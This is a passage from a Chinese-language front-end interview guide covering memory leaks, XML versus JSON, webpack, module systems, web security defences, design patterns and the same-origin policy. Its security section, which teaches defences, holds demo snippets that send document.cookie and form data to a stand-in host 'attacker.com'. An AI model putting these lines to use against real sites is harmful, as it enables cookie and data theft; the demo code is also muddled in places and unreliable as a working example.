  bar = 'global variable'; // 没有使用 var 声明
}
foo();
  1. 闭包函数(Closures):
function outer() {
  var data = 'sensitive data';
  return function() {
    // 内部函数形成了闭包
    console.log(data);
  };
}
var inner = outer();
inner(); // 闭包引用了外部函数的变量,导致变量无法被释放
  1. 循环引用:
function createObjects() {
  var obj1 = {};
  var obj2 = {};
  obj1.ref = obj2;
  obj2.ref = obj1;
  // 对象之间形成循环引用,导致无法被垃圾回收
}
createObjects();
  1. 控制台日志(console.log):
function processData(data) {
  console.log(data); // 控制台日志可能会引用数据,阻止垃圾回收
  // 处理数据的逻辑
}
  1. 移除存在绑定事件的 DOM 元素(IE):
var element = document.getElementById('myElement');
element.onclick = function() {
  // 处理点击事件
};
// 移除元素时没有显式地解绑事件处理程序,可能导致内存泄漏(在 IE 浏览器中)
element.parentNode.removeChild(element);
  1. 使用字符串作为 setTimeout 的第一个参数:
setTimeout('console.log("timeout");', 1000);
// 使用字符串作为参数,会导致内存泄漏(不推荐)

注意:以上示例只是为了说明可能导致内存泄漏的操作,并非一定会发生内存泄漏。在实际开发中,需要注意避免这些操作或及时进行相应的内存管理和资源释放。

# 14 XML和JSON的区别?

⚡ 30 秒速记

  • 体积:JSON 更小(没有闭合标签),传输和解析都更快
  • 解析:JSON 直接 JSON.parse 得到 JS 对象;XML 要走 DOM 解析再遍历取值
  • 可读性:XML 结构更啰嗦但表达能力强(支持属性、命名空间、注释、Schema 校验)
  • 生态:Web API 已全面倒向 JSON,XML 主要留在配置文件、SVG、RSS、SOAP 等老系统
  • 补一句:JSON 不支持注释、不支持 undefined 和函数、Date 会变成字符串 —— 这些是实际开发的坑

JSON 更轻量、解析更快,XML 则更强调数据的描述性和扩展性。 JSON 使用简洁的键值对,体积通常更小,而且能被 JavaScript 直接解析和处理。XML 通过标签描述结构,含义更直观,但一般需要借助 DOM 解析,处理过程相对复杂。简单的数据交互通常选 JSON,更看重结构描述或跨系统交换时可以考虑 XML。

XML(可扩展标记语言)和JSON(JavaScript对象表示法)是两种常用的数据格式,它们在以下几个方面有一些区别:

  1. 数据体积方面:
  • JSON相对于XML来说,数据的体积小,因为JSON使用了较简洁的语法,所以传输的速度更快。
  1. 数据交互方面:
  • JSON与JavaScript的交互更加方便,因为JSON数据可以直接被JavaScript解析和处理,无需额外的转换步骤。
  • XML需要使用DOM操作来解析和处理数据,相对而言更复杂一些。
  1. 数据描述方面:
  • XML对数据的描述性较强,它使用标签来标识数据的结构和含义,可以自定义标签名,使数据更具有可读性和可扩展性。
  • JSON的描述性较弱,它使用简洁的键值对表示数据,适合于简单的数据结构和传递。
  1. 传输速度方面:
  • JSON的解析速度要快于XML,因为JSON的语法更接近JavaScript对象的表示,JavaScript引擎能够更高效地解析JSON数据。

需要根据具体的需求和使用场景选择合适的数据格式,一般来说,如果需要简单、轻量级的数据交互,并且与JavaScript紧密集成,可以选择JSON。而如果需要较强的数据描述性和扩展性,或者需要与其他系统进行数据交互,可以选择XML。

# 15 谈谈你对webpack的看法

⚡ 30 秒速记

  • 定位:模块打包器。把各类资源当模块处理,构建依赖图,输出浏览器能跑的产物
  • 五个核心概念:entry、output、loader(转换单个文件)、plugin(介入构建生命周期)、mode
  • 优化手段:代码分割 splitChunks、Tree Shaking、按需加载 import()、持久化缓存(contenthash)、DLL/模块联邦
  • 构建提速:thread-loader 多进程、cache 持久化缓存、缩小 loader 的 include 范围
  • 现状要说清:Vite(开发期用原生 ESM 免打包,生产用 Rollup)和 Rspack/Turbopack(Rust 实现)在快速取代 Webpack 的新项目份额,但 Webpack 生态最全,存量项目仍是主力

Webpack 本质上是一个功能强大、扩展性很高的模块打包工具。 它把 JavaScript、CSS、图片等资源统一视为模块,再根据依赖关系输出一个或多个静态文件,方便组织和维护代码。通过 loader 和插件,还能完成资源转换、代码压缩、文件合并及按需加载等工作。开发阶段配合开发服务器和热模块替换,可以提高调试效率;它的优势也在于插件生态和社区资源比较丰富。

Webpack是一个功能强大的模块打包工具,它在现代Web开发中扮演着重要的角色。以下是对Webpack的看法:

  1. 模块化开发:Webpack以模块化的方式管理项目中的各种资源,包括JavaScript、CSS、图片、字体等。它能够将这些资源视为模块,并根据模块之间的依赖关系进行打包,使代码结构更清晰、可维护性更高。
  2. 强大的打包能力:Webpack具有强大的打包能力,能够将项目中的多个模块打包成一个或多个静态资源文件。它支持各种模块加载器和插件,可以处理各种类型的资源文件,并且能够进行代码压缩、文件合并、按需加载等优化操作,以提高应用的性能和加载速度。
  3. 生态系统丰富:Webpack拥有一个庞大的插件生态系统,可以满足各种项目的需求。通过使用各种插件,我们可以实现代码的优化、资源的压缩、自动化部署等功能,大大提升了开发效率。
  4. 开发工具支持:Webpack提供了开发工具和开发服务器,支持热模块替换(Hot Module Replacement)等功能,使开发过程更加高效和便捷。它能够实时监听文件的变化并自动重新编译和刷新页面,极大地提升了开发体验。
  5. 社区活跃:Webpack拥有一个庞大的社区,开发者们积极分享各种有用的插件和工具,提供了大量的学习资源和解决方案。通过与社区的交流和学习,我们可以更好地了解Webpack的使用技巧和最佳实践。

总的来说,Webpack是一个非常强大和灵活的模块打包工具,它在现代Web开发中发挥着重要作用。通过Webpack,我们可以更好地组织和管理项目代码,提高开发效率和代码质量,同时也能够享受到丰富的插件和工具支持。

# 16 说说你对AMD和Commonjs的理解

⚡ 30 秒速记

  • CommonJS:Node 的模块规范,require 同步加载、module.exports 导出值的拷贝、运行时确定依赖
  • AMD:浏览器端的异步方案(require.js),define 声明依赖、依赖前置提前执行
  • 两者都是 ESM 出现前的过渡方案,AMD 今天已经没人写了
  • 重点应该落在 ESM vs CommonJS 的差异:静态 vs 动态、值引用 vs 值拷贝、可 Tree Shaking vs 不可
  • 一个常见坑:CJS 导出的是拷贝,所以后续修改原变量不会反映到已 require 的地方;ESM 是活的绑定,会反映

AMD 和 CommonJS 都是模块规范,核心区别是前者偏浏览器异步加载,后者偏服务端同步加载。 AMD 通常通过 define 声明模块和依赖,模块加载完成后再执行回调,典型实现是 RequireJS。CommonJS 使用 require 加载模块,并通过 module.exports 或 exports 暴露接口,Node.js 内置支持。浏览器需要避免模块加载阻塞时更适合 AMD,服务端读取本地模块时则适合 CommonJS。

对于AMD(Asynchronous Module Definition)和CommonJS的理解如下:

1. AMD(异步模块定义):

  • AMD是一种用于浏览器端的模块定义规范。
  • 它支持异步加载模块,允许在模块加载完成后执行回调函数。
  • AMD推荐的风格是通过define函数定义模块,并通过返回一个对象来暴露模块的接口。
  • 典型的AMD实现是RequireJS。

2. CommonJS:

  • CommonJS是一种用于服务器端的模块定义规范,Node.js采用了这个规范。
  • 它使用同步加载模块的方式,即只有模块加载完成后才能执行后续操作。
  • CommonJS的风格是通过对module.exports或exports的属性赋值来暴露模块的接口。
  • CommonJS适用于服务器端的模块加载,因为在服务器端文件的读取是同步的,不会影响性能。

总结:

  • AMD和CommonJS是两种不同的模块定义规范,分别适用于浏览器端和服务器端的模块加载。
  • AMD采用异步加载模块的方式,适用于浏览器环境,允许并行加载多个模块,适用于复杂的模块依赖关系。
  • CommonJS采用同步加载模块的方式,适用于服务器环境,因为在服务器端文件的读取是同步的。
  • 在实际开发中,可以根据项目的需求和运行环境选择使用AMD或CommonJS规范来组织和加载模块。

AMD 示例代码:

// 模块定义
define(['moduleA', 'moduleB'], function(moduleA, moduleB) {
  // 模块代码
  var foo = moduleA.foo();
  var bar = moduleB.bar();
  return {
    baz: function() {
      console.log(foo + bar);
    }
  };
});

// 模块加载
require(['myModule'], function(myModule) {
  myModule.baz(); // 调用模块方法
});

CommonJS 示例代码:

// 模块定义
// moduleA.js
exports.foo = function() {
  return 'Hello';
};

// moduleB.js
exports.bar = function() {
  return 'World';
};

// 主程序
// main.js
var moduleA = require('./moduleA');
var moduleB = require('./moduleB');

var foo = moduleA.foo();
var bar = moduleB.bar();
console.log(foo + ' ' + bar);

在浏览器环境下,可以使用RequireJS作为AMD规范的实现库。在Node.js环境下,CommonJS模块加载是内置的,无需使用额外的库。以上示例代码是在浏览器端和Node.js环境中分别使用AMD和CommonJS规范加载模块的简单示例。

# 17 常见web安全及防护原理

⚡ 30 秒速记

  • XSS:注入并执行恶意脚本。防护是对输出做转义、用 textContent 而非 innerHTML、开启 CSP、cookie 加 HttpOnly
  • CSRF:借用户已登录的身份发请求。防护是 CSRF Token、SameSite=Lax/Strict、校验 Origin/Referer
  • 点击劫持:用透明 iframe 诱导点击。防护是 X-Frame-Options 或 CSP 的 frame-ancestors
  • SQL 注入:后端用参数化查询,别拼字符串
  • 中间人:全站 HTTPS + HSTS
  • 依赖投毒:锁定 lockfile、定期 npm audit、用 SRI 校验 CDN 资源
  • 答题技巧:每种都按"原理 → 危害 → 防护"三段讲,XSS 再细分存储型/反射型/DOM 型

常见 Web 安全问题的本质,是不可信输入被执行,或用户身份、浏览器权限被冒用。 XSS 要靠输出转义、安全模板和 CSP,CSRF 则用 Token、来源校验阻止攻击者借登录态操作。服务端还要用参数化查询防 SQL 注入,并校验上传文件的类型、大小和存储位置。会话场景中,我会配合 HTTPS、HttpOnly、Secure 和定期更新会话 ID,避免只依赖单一措施。

常见Web安全问题及对应的防护原理如下所示,并附上相应的示例代码:

1. SQL注入

就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令

  • 总的来说有以下几点

    • 永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等
    • 永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取
    • 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接
    • 不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息
  • 防护原理:

    • 使用参数化查询或预编译语句
    • 使用ORM框架或查询构建器
    • 对用户输入进行输入验证和过滤

示例代码:

// 使用参数化查询
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(sql, [username, password], (err, result) => {
  // 处理查询结果
});

// 使用预编译语句
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
const stmt = db.prepare(sql);
stmt.run(username, password, (err, result) => {
  // 处理查询结果
});

2. 跨站脚本攻击 (XSS)

Xss(cross-site scripting)攻击指的是攻击者往Web页面里插入恶意html标签或者javascript代码。比如:攻击者在论坛中放一个看似安全的链接,骗取用户点击后,窃取cookie中的用户私密信息;或者攻击者在论坛中加一个恶意表单,当用户提交表单的时候,却把信息传送到攻击者的服务器中,而不是用户原本以为的信任站点

  • 防护原理:
    • 对用户输入进行合适的转义和过滤
    • 使用安全的模板引擎或自动转义函数
    • 使用HTTP头部中的Content Security Policy (CSP)

示例代码:

// 对用户输入进行转义
function escapeHTML(input) {
  return input.replace(/</g, '&lt;').replace(/>/g, '&gt;');
}
// 使用安全的模板引擎
const template = Handlebars.compile('{{data}}');
const html = template({ data: userInput });

// 使用Content Security Policy (CSP)
res.setHeader('Content-Security-Policy', 'script-src \'self\'');

3. 跨站请求伪造 (CSRF)

  • 防护原理:
    • 使用CSRF Token进行验证
    • 验证请求来源
    • 验证HTTP Referer头

示例代码:

// 使用CSRF Token进行验证
app.use((req, res, next) => {
  res.locals.csrfToken = generateCSRFToken();
  next();
});

// 验证请求来源
if (req.headers.origin !== 'https://example.com') {
  // 请求不是来自预期的来源,拒绝处理
}

// 验证HTTP Referer头
if (req.headers.referer !== 'https://example.com/') {
  // 请求不是来自预期的来源,拒绝处理
}

XSS与CSRF有什么区别吗?

XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)是两种不同类型的安全威胁,其区别如下:

XSS(跨站脚本攻击):

  • 目标:获取用户的敏感信息、执行恶意代码。
  • 攻击方式:攻击者向受信任网站注入恶意脚本代码,使用户的浏览器执行该恶意脚本。
  • 攻击原理:XSS攻击利用了网页应用对用户输入的信任,通过注入恶意脚本代码,使其在用户的浏览器中执行。
  • 防护措施:对用户输入进行合适的转义和过滤,使用安全的模板引擎或自动转义函数,使用Content Security Policy(CSP)等。

CSRF(跨站请求伪造):

  • 目标:利用用户的身份完成恶意操作,而不是获取敏感信息。
  • 攻击方式:攻击者诱使用户在受信任网站的身份下执行恶意操作,利用用户在受信任网站上的身份发送恶意请求。
  • 攻击原理:CSRF攻击利用了网页应用对用户已认证身份的信任,通过伪造请求,利用用户的身份在受信任网站上执行恶意操作。
  • 防护措施:使用CSRF Token进行验证,验证请求来源、HTTP Referer头,双重提交Cookie验证等。

总结:

  • XSS攻击注重利用网页应用对用户输入的信任,目标是获取用户的敏感信息和执行恶意代码。
  • CSRF攻击注重利用网页应用对用户已认证身份的信任,目标是代替用户完成指定的动作。

请注意,为了有效地防止XSS和CSRF攻击,应采用综合的安全措施,并进行定期的安全审查和测试。

XSS攻击获取Cookie的示例

<!-- index.html -->
<!DOCTYPE html>
<html>
<head>
  <title>XSS Attack Demo</title>
</head>
<body>
  <h1>XSS Attack Demo</h1>
  <div id="content"></div>
  <script src="payload.js"></script>
</body>
</html>
// payload.js
const maliciousScript = `
  const xhr = new XMLHttpRequest();
  xhr.open('GET', 'http://attacker.com/steal-cookie?cookie=' + document.cookie, true);
  xhr.send();
`;

document.getElementById('content').innerHTML = maliciousScript;

在上述示例中,恶意脚本payload.js被注入到页面中。该脚本通过XMLHttpRequest发送GET请求,将页面中的Cookie信息发送给攻击者控制的服务器。

CSRF攻击的示例

<!-- index.html -->
<!DOCTYPE html>
<html>
<head>
  <title>CSRF Attack Demo</title>
</head>
<body>
  <h1>CSRF Attack Demo</h1>
  <form id="transfer-form" action="http://bank.com/transfer" method="POST">
    <input type="hidden" name="amount" value="10000">
    <input type="submit" value="Transfer">
  </form>
  <script src="payload.js"></script>
</body>
</html>
// payload.js
const maliciousScript = `
  const form = document.getElementById('transfer-form');
  form.action = 'http://attacker.com/steal-data';
  form.submit();
`;

eval(maliciousScript);

在上述示例中,恶意脚本payload.js被执行。该脚本修改了表单transfer-form的目标地址为攻击者控制的服务器,并提交表单。当用户点击"Transfer"按钮时,实际上会向攻击者服务器发送用户的敏感数据。

请注意,以上示例仅为了说明XSS攻击和CSRF攻击的原理,并非真实的攻击代码。在实际开发中,应该采取相应的防护措施来预防这些安全威胁,如输入验证、输出编码、使用CSRF令牌等。

4. 文件上传漏洞

  • 防护原理:
  • 验证文件类型和大小
  • 存储上传的文件在非Web可访问目录下
  • 生成唯一且安全的文件名

示例代码:

// 验证文件类型和大小
const allowedFileTypes = ['image/jpeg', 'image/png'];
const maxFileSize = 5 * 1024 * 1024; // 5MB

if (!allowedFileTypes.includes(file.mimetype) || file.size > maxFileSize) {
 // 文件类型不合法或大小超过限制,拒绝上传
}

5. 会话劫持和会话固定

  • 防护原理:
    • 使用安全的会话管理机制(如使用HTTPS、使用HTTP Only和Secure标志的Cookie)
    • 生成随机且复杂的会话ID
    • 定期更新会话ID

示例代码:

// 设置HTTP Only和Secure标志的会话Cookie
res.cookie('sessionID', sessionID, { httpOnly: true, secure: true });

// 生成随机且复杂的会话ID
const sessionID = generateSessionID();

// 定期更新会话ID
setInterval(() => {
  // 生成新的会话ID
  const newSessionID = generateSessionID();
  // 更新会话ID
  req.sessionID = newSessionID;
}, 30 * 60 * 1000); // 30分钟更新一次会话ID

6. 点击劫持

  • 防护原理:
  • 使用X-Frame-Options响应头
  • 使用Content Security Policy (CSP)
  • 使用Framebusting脚本

示例代码:

// 使用X-Frame-Options响应头
res.setHeader('X-Frame-Options', 'DENY');

// 使用Content Security Policy (CSP)
res.setHeader('Content-Security-Policy', 'frame-ancestors \'none\'');

// 使用Framebusting脚本
if (window.top !== window.self) {
 window.top.location = window.self.location;
}

7. 不安全的重定向和跳转

  • 防护原理:
  • 对重定向URL进行白名单验证
  • 验证跳转请求的合法性
  • 使用HTTP Only和Secure标志的Cookie

示例代码:

// 对重定向URL进行白名单验证
const whitelist = ['https://example.com', 'https://example.net'];
if (whitelist.includes(redirectURL)) {
 res.redirect(redirectURL);
} else {
 // 非法的重定向URL,拒绝跳转
}

// 验证跳转请求的合法性
const referer = req.headers.referer;
if (referer && referer.startsWith('https://example.com')) {
 res.redirect(redirectURL);
} else {
 // 非法的跳转请求,拒绝跳转
}

// 使用HTTP Only和Secure标志的Cookie
res.cookie('sessionID', sessionID, { httpOnly: true, secure: true });

# 18 用过哪些设计模式?

⚡ 30 秒速记

  • 前端最常用的六个:单例(全局唯一实例,如 store、弹窗管理)、观察者/发布订阅(事件总线、响应式)、工厂(按参数造不同对象)、策略(用映射表消灭 if-else)、装饰器(不改原对象加功能)、代理(Vue 3 响应式、图片懒加载)
  • 观察者和发布订阅要能区分:观察者是 Subject 直接持有 Observer 列表,发布订阅多了一个中间的事件调度中心,双方互不知道
  • 举真实例子最加分:Vue 的响应式是观察者 + 代理、React 的 HOC 是装饰器、axios 拦截器是责任链、请求重试是策略
  • 别硬背 23 种,讲透三四个自己真用过的更有说服力

前端里我更关注真正能解决耦合问题的设计模式,常见的是工厂、单例、观察者或发布订阅,以及装饰者。 工厂适合按条件创建不同对象,单例适合日志器、全局配置这类唯一实例,但全局状态会影响扩展和测试。观察者由主题直接维护观察者,发布订阅则通过事件总线转发,双方耦合更低。需要兼容第三方或旧接口时,还可以用适配器统一调用方式。

当被问到你用过哪些设计模式时,你可以列举出你在前端开发中常使用的设计模式。以下是几个常见的设计模式,以及它们的优缺点、适用场景和示例代码:

1. 工厂模式(Factory Pattern):

  • 优点:封装了对象的创建过程,降低了耦合性,提供了灵活性和可扩展性。
  • 缺点:增加了代码的复杂性,需要创建工厂类。
  • 适用场景:当需要根据不同条件创建不同对象时,或者需要隐藏对象创建的细节时,可以使用工厂模式。

示例代码:

class Button {
  constructor(text) {
    this.text = text;
  }
  render() {
    console.log(`Rendering button with text: ${this.text}`);
  }
}

class ButtonFactory {
  createButton(text) {
    return new Button(text);
  }
}

const factory = new ButtonFactory();
const button = factory.createButton('Submit');
button.render(); // Output: Rendering button with text: Submit

2. 单例模式(Singleton Pattern):

  • 优点:确保一个类只有一个实例,节省系统资源,提供全局访问点。
  • 缺点:可能引入全局状态,不利于扩展和测试。
  • 适用场景:当需要全局唯一的对象实例时,例如日志记录器、全局配置对象等,可以使用单例模式。

示例代码:

class Logger {
  constructor() {
    if (Logger.instance) {
      return Logger.instance;
    }
    Logger.instance = this;
  }
  log(message) {
    console.log(`Logging: ${message}`);
  }
}

const logger1 = new Logger();
const logger2 = new Logger();

console.log(logger1 === logger2); // Output: true

3. 观察者模式(Observer Pattern):

  • 优点:实现了对象之间的松耦合,支持广播通信,当一个对象状态改变时,可以通知依赖它的其他对象进行更新。
  • 缺点:可能导致性能问题和内存泄漏,需要合理管理观察者列表。
  • 适用场景:当需要实现对象之间的一对多关系,一个对象的改变需要通知其他多个对象时,可以使用观察者模式。

示例代码:

class Subject {
  constructor() {
    this.observers = [];
  }
  addObserver(observer) {
    this.observers.push(observer);
  }
  removeObserver(observer) {
    const index = this.observers.indexOf(observer);
    if (index !== -1) {
      this.observers.splice(index, 1);
    }
  }
  notify(message) {
    this.observers.forEach((observer) => observer.update(message));
  }
}

class Observer {
  update(message) {
    console.log(`Received message: ${message}`);
  }
}

const subject = new Subject();
const observer1 = new Observer();
const observer2 = new Observer();

subject.addObserver(observer1);
subject.addObserver(observer2);
subject.notify('Hello, observers!'); // Output

4. 发布订阅模式(Publish-Subscribe Pattern):

  • 优点:解耦了发布者和订阅者,使它们可以独立变化。增加了代码的灵活性和可维护性。
  • 缺点:可能会导致发布者过度发布消息,造成性能问题。订阅者需要订阅和取消订阅相关的逻辑。
  • 适用场景:当存在一对多的关系,一个对象的状态变化需要通知多个其他对象时,可以使用发布订阅模式。

示例代码:

class PubSub {
  constructor() {
    this.subscribers = {};
  }
  subscribe(event, callback) {
    if (!this.subscribers[event]) {
      this.subscribers[event] = [];
    }
    this.subscribers[event].push(callback);
  }
  unsubscribe(event, callback) {
    const subscribers = this.subscribers[event];
    if (subscribers) {
      this.subscribers[event] = subscribers.filter(cb => cb !== callback);
    }
  }
  publish(event, data) {
    const subscribers = this.subscribers[event];
    if (subscribers) {
      subscribers.forEach(callback => callback(data));
    }
  }
}

// 创建发布订阅对象
const pubsub = new PubSub();

// 订阅事件
const callback1 = data => console.log('Subscriber 1:', data);
const callback2 = data => console.log('Subscriber 2:', data);
pubsub.subscribe('event1', callback1);
pubsub.subscribe('event1', callback2);

// 发布事件
pubsub.publish('event1', 'Hello, world!');

// 取消订阅事件
pubsub.unsubscribe('event1', callback2);

// 再次发布事件
pubsub.publish('event1', 'Hello again!');

在上述示例中,PubSub 是发布订阅的实现类,它维护一个订阅者列表 subscribers,用于存储不同事件的订阅者列表。通过 subscribe 方法订阅事件,将回调函数添加到对应事件的订阅者列表中;通过 unsubscribe 方法取消订阅事件,从对应事件的订阅者列表中移除回调函数;通过 publish 方法发布事件,遍历对应事件的订阅者列表,依次执行回调函数。通过发布订阅模式,发布者和订阅者之间解耦,可以实现松散耦合的组件间通信。

发布订阅模式适用于许多场景,如事件驱动的系统、消息队列、UI组件间的通信等,可以实现组件之间的解耦和灵活性。

发布订阅模式(Publish-Subscribe Pattern)和观察者模式(Observer Pattern)是两种常见的设计模式,它们有一些相似之处,但也存在一些区别。

相似之处:

  • 都用于实现对象之间的消息通信和事件处理。
  • 都支持解耦,让发布者和订阅者(观察者)之间相互独立。

区别:

  • 关注点不同:观察者模式关注的是一个主题对象(被观察者)和多个观察者对象之间的关系。当主题对象的状态发生变化时,它会通知所有观察者对象进行更新。而发布订阅模式关注的是发布者和订阅者之间的关系,发布者将消息发送到一个中心调度器(或者称为事件总线),然后由调度器将消息分发给所有订阅者。
  • 中间件存在与否:发布订阅模式通常需要一个中间件(调度器或事件总线)来管理消息的发布和订阅,这样发布者和订阅者之间的通信通过中间件进行。而观察者模式则直接在主题对象和观察者对象之间进行通信,没有中间件的参与。
  • 松散耦合程度不同:观察者模式中,主题对象和观察者对象之间是直接关联的,主题对象需要知道每个观察者对象的存在。而在发布订阅模式中,发布者和订阅者之间并不直接关联,它们只与中间件进行通信,发布者和订阅者之间的耦合更加松散。

观察者模式示例:

class Subject {
  constructor() {
    this.observers = [];
  }
  addObserver(observer) {
    this.observers.push(observer);
  }
  removeObserver(observer) {
    this.observers = this.observers.filter(obs => obs !== observer);
  }
  notify(data) {
    this.observers.forEach(observer => observer.update(data));
  }
}

class Observer {
  update(data) {
    console.log('Received data:', data);
  }
}

// 创建主题对象
const subject = new Subject();

// 创建观察者对象
const observer1 = new Observer();
const observer2 = new Observer();

// 添加观察者
subject.addObserver(observer1);
subject.addObserver(observer2);

// 发送通知
subject.notify('Hello, observers!');

发布订阅模式示例:

class EventBus {
  constructor() {
    this.subscribers = {};
  }
  subscribe(event, callback) {
    if (!this.subscribers[event]) {
      this.subscribers[event] = [];
    }
    this.subscribers[event].push(callback);
  }
  unsubscribe(event, callback) {
    const subscribers = this.subscribers[event];
    if (subscribers) {
      this.subscribers[event] = subscribers.filter(cb => cb !== callback);
    }
  }
  publish(event, data) {
        const subscribers = this.subscribers[event];
      if (subscribers) {
        subscribers.forEach(callback => callback(data));
      }
    }
  }

  // 创建事件总线对象
  const eventBus = new EventBus();

  // 订阅事件
  eventBus.subscribe('message', data => {
    console.log('Received message:', data);
  });

  // 发布事件
  eventBus.publish('message', 'Hello, subscribers!');

在上述示例中,观察者模式中的Subject类相当于发布订阅模式中的EventBus类,Observer类相当于订阅者(观察者),notify方法相当于publish方法,update方法相当于订阅者接收到事件后的回调函数。

观察者模式和发布订阅模式都是常见的用于实现事件处理和消息通信的设计模式,根据实际场景和需求选择合适的模式进行使用。观察者模式更加简单直接,适用于一对多的关系,而发布订阅模式更加灵活,可以支持多对多的关系,并且通过中间件来解耦发布者和订阅者。

4. 原型模式(Prototype Pattern):

  • 优点:通过克隆现有对象来创建新对象,避免了频繁的对象创建过程,提高了性能。
  • 缺点:需要正确设置原型对象和克隆方法,可能引入深拷贝或浅拷贝的问题。
  • 适用场景:当创建对象的成本较大且对象之间相似度较高时,可以使用原型模式来复用已有对象。

示例代码:

class Shape {
  constructor() {
    this.type = '';
  }
  clone() {
    return Object.create(this);
  }
  draw() {
    console.log(`Drawing a ${this.type}`);
  }
}

const circlePrototype = new Shape();
circlePrototype.type = 'Circle';

const squarePrototype = new Shape();
squarePrototype.type = 'Square';

const circle = circlePrototype.clone();
circle.draw(); // Output: Drawing a Circle

const square = squarePrototype.clone();
square.draw(); // Output: Drawing a Square

6. 装饰者模式(Decorator Pattern)

  • 优点:动态地给对象添加新的功能,避免了使用子类继承的方式导致类爆炸的问题。
  • 缺点:增加了代码的复杂性,需要理解和管理装饰器的层次结构。
  • 适用场景:当需要在不修改现有对象结构的情况下,动态地添加功能或修改行为时,可以使用装饰者模式。

示例代码:

class Component {
  operation() {
    console.log('Component operation');
  }
}

class Decorator {
  constructor(component) {
    this.component = component;
  }
  operation() {
    this.component.operation();
  }
}

class ConcreteComponent extends Component {
  operation() {
    console.log('ConcreteComponent operation');
  }
}

class ConcreteDecoratorA extends Decorator {
  operation() {
    super.operation();
    console.log('ConcreteDecoratorA operation');
  }
}

class ConcreteDecoratorB extends Decorator {
  operation() {
    super.operation();
    console.log('ConcreteDecoratorB operation');
  }
}

const component = new ConcreteComponent();
const decoratorA = new ConcreteDecoratorA(component);
const decoratorB = new ConcreteDecoratorB(decoratorA);

decoratorB.operation();
// Output:
// Component operation
// ConcreteComponent operation
// ConcreteDecoratorA operation
// ConcreteDecoratorB operation

7. 适配器模式(Adapter Pattern):

  • 优点:允许不兼容接口的对象协同工作,提高代码的复用性和灵活性。
  • 缺点:增加了代码的复杂性,需要理解和管理适配器的转换过程。
  • 适用场景:当需要将一个类的接口转换成客户端所期望的另一个接口时,可以使用适配器模式。

示例代码:

class Target {
  request() {
    console.log('Target request');
  }
}

class Adaptee {
  specificRequest() {
    console.log('Adaptee specificRequest');
  }
}

class Adapter extends Target {
  constructor(adaptee) {
    super();
    this.adaptee = adaptee;
  }
  request() {
    this.adaptee.specificRequest();
  }
}

const target = new Target();
target.request();
// Output: Target request

const adaptee = new Adaptee();
const adapter = new Adapter(adaptee);
adapter.request();
// Output: Adaptee specificRequest

在上述示例中,Target 定义了客户端所期望的接口,Adaptee 是一个已有的类,它的接口与 Target 不兼容。适配器 Adapter 继承自 Target,并在其内部持有一个 Adaptee 的引用,通过适配器的 request 方法调用 Adaptee 的 specificRequest 方法,从而实现了对不兼容接口的适配。客户端可以通过调用适配器的 request 方法来使用 Adaptee 的功能。

适配器模式可以用于许多场景,例如在使用第三方库时需要将其接口转换成符合自己代码规范的接口,或者在对旧系统进行重构时需要兼容旧代码和新代码之间的差异。

# 19 为什么要有同源限制?

⚡ 30 秒速记

  • 同源 = 协议 + 域名 + 端口三者都相同
  • 没有它的后果:任意网站的 JS 都能读你已登录站点的数据、拿到你的 cookie、以你的身份发请求
  • 它限制的是"读取跨源响应"和"访问跨源 DOM/存储",不限制资源的加载(img、script、link 都能跨域)
  • 正因为 script 能跨域才有了 JSONP,也正因为表单能跨域提交才有了 CSRF
  • 放开限制的正规途径是 CORS,由服务端决定谁能读

同源限制是浏览器用来隔离不同站点数据和操作权限的安全边界,同源要求协议、域名和端口都相同。 如果没有这层限制,恶意页面就可能通过脚本读取其他站点的页面、表单和敏感数据,甚至操作用户账户。需要跨源读取资源时,应由服务端通过 CORS 明确授权,也可以在特定场景使用 JSONP。不过同源策略不是全部安全措施,站点仍要单独防护 XSS 和 CSRF。

  • 同源策略指的是:协议,域名,端口相同,同源策略是一种安全协议
  • 举例说明:比如一个黑客程序,他利用Iframe把真正的银行登录页面嵌到他的页面上,当你使用真实的用户名,密码登录时,他的页面就可以通过Javascript读取到你的表单中input中的内容,这样用户名,密码就轻松到手了。

同源限制是为了保护用户的隐私和安全而存在的。它的主要目的是防止恶意网站利用客户端脚本对其他网站的信息进行读取和操作,从而避免信息泄露和恶意攻击。

同源策略通过限制来自不同源的网页之间的交互,确保只有同源的网页可以相互访问彼此的资源。同源策略要求协议、域名和端口必须完全相同才能实现同源。如果不满足同源条件,浏览器会禁止跨域请求和操作。

同源限制的作用包括但不限于:

  1. 防止跨站点脚本攻击(XSS):同源限制可以防止恶意网站通过跨域脚本注入攻击来获取用户敏感信息或操作用户的账户。
  2. 防止跨站请求伪造(CSRF):同源限制可以防止恶意网站伪造用户请求,以用户的身份执行非法操作。
  3. 保护用户隐私:同源限制可以防止其他网站通过跨域方式获取用户在当前网站的敏感信息。

同源限制通过浏览器的安全策略实现,确保在不同源的网页之间存在一定的隔离性,提高用户的安全性和隐私保护。但同时也给一些特定的跨域场景带来了限制,因此在需要跨域访问的情况下,可以使用跨域技术(如跨域资源共享CORS、JSONP等)来解决问题。

示例代码中提到的黑客程序利用了跨域嵌套iframe的方式,通过读取用户输入的信息来进行攻击。同源限制可以防止这种攻击,因为该黑客程序的域名与银行登录页面的域名不同,无法通过跨域访问获取用户输入的敏感信息。

# 20 offsetWidth/offsetHeight,clientWidth/clientHeight与scrollWidth/scrollHeight的区别

⚡ 30 秒速记

  • offsetWidth = content + padding + border + 滚动条(元素在页面上实际占的可视宽度)
  • clientWidth = content + padding,不含 border 和滚动条(可视区内容宽度)
  • scrollWidth = 实际内容宽度,内容溢出时大于 clientWidth(含被卷起来的部分)
  • 判断是否溢出:scrollWidth > clientWidth
  • 判断滚到底部:scrollTop + clientHeight >= scrollHeight - 1(留 1px 容差应对小数)
  • 重要提醒:读这些属性会触发强制同步布局,别在循环里读写交替

